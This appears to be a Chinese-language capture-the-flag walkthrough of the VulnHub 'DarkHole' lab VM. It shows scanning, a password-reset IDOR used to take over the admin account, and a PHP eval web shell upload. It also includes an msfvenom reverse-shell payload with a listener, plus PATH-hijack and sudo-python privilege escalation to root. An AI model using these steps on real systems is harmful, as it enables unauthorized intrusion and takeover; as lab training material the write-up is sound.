https://www.vulnhub.com
测试机系统:kali、靶机
测试机IP:192.168.3.142
kali:192.168.3.136
一、信息收集
1.主机发现
arp-scan -l
发现靶机IP:192.168.3.142
2.端口扫描 服务扫描
nmap -T4 -sV -O 192.168.3.142
3.目录扫描
dirp http://192.168.3.142
5.访问目录扫描出的网站
访问http://192.168.3.142/login.php
二、漏洞探测
拿到这么一个网站,暂时没有多余的线索,只有个登录页面:
注册账号
暴力破解不太现实,可以尝试一下注册个账号:
登陆进来没发现可以上传文件的地方,倒是发现了重置密码的地方
我们尝试重置下密码,并f12看下网络流量
这里使用bp 抓包
将id=2改成id=1
发送成功
我们试下99.99%开发都会创建的管理员用户名admin,并用刚刚重置的密码登陆下
试着上传个正常的文件试试看
上传成功
在上传一句话木马
<?php @eval($_POST[cmd]);?)>
访问一下
三、漏洞利用
生成php反弹shell脚本:
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.11.128 lpor=4444 -o msfshell.php
上传木马
kali端开启msf监听
开启msf,使用模块,设置参数和载荷:
use exploit/multi/handler
set lhost 192.168.3.136
set lport 4444
set payload php/meterpreter/reverse_tcp
四、提权
查看敏感文件之后发现有两个用户:
cat /etc/passwd | grep /bin/bash
/home/john/toto可以用来提权,尝试执行下
www-data@darkhole:/$ /home/john/toto
/home/john/toto
uid=1001(john) gid=33(www-data) groups=33(www-data)
www-data@darkhole:/$
看样子应该是以john用户权限执行了id命令
我们来做个恶意的PATH环境看看能不能获取john用户的权限
www-data@darkhole:/$ cd /tmp
cd /tmp
www-data@darkhole:/tmp$ echo "/bin/bash" > id
echo "/bin/bash" > id
www-data@darkhole:/tmp$ chmod a+x id
chmod a+x id
www-data@darkhole:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
www-data@darkhole:/tmp$
执行/home/john/toto
www-data@darkhole:/tmp$ /home/john/toto
/home/john/toto
john@darkhole:/tmp$ whoami
whoami
john
john@darkhole:/tmp$
# 看下user.txt
john@darkhole:/home/john$ cat user.txt
cat user.txt
DarkHole{You_Can_DO_It}
john@darkhole:/home/john$
# 看下password
john@darkhole:/home/john$ cat password
cat password
root123
john@darkhole:/home/john$
# 看下当前用户可以用sudo执行啥命令
john@darkhole:/home/john$ sudo -l
sudo -l
[sudo] password for john: root123
Matching Defaults entries for john on darkhole:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on darkhole:
(root) /usr/bin/python3 /home/john/file.py
john@darkhole:/home/john$
# 看样子是以root权限执行了/usr/bin/python3 /home/john/file.py
# 那我们在 /home/john/file.py中写入python代码尝试获取shell环境
john@darkhole:/home/john$ echo "import pty;pty.spawn('/bin/bash')" > /home/john/file.py
"import pty;pty.spawn('/bin/bash')" > /home/john/file.py
john@darkhole:/home/john$ sudo /usr/bin/python3 /home/john/file.py
sudo /usr/bin/python3 /home/john/file.py
root@darkhole:/home/john# whoami
whoami
root
root@darkhole:/home/john#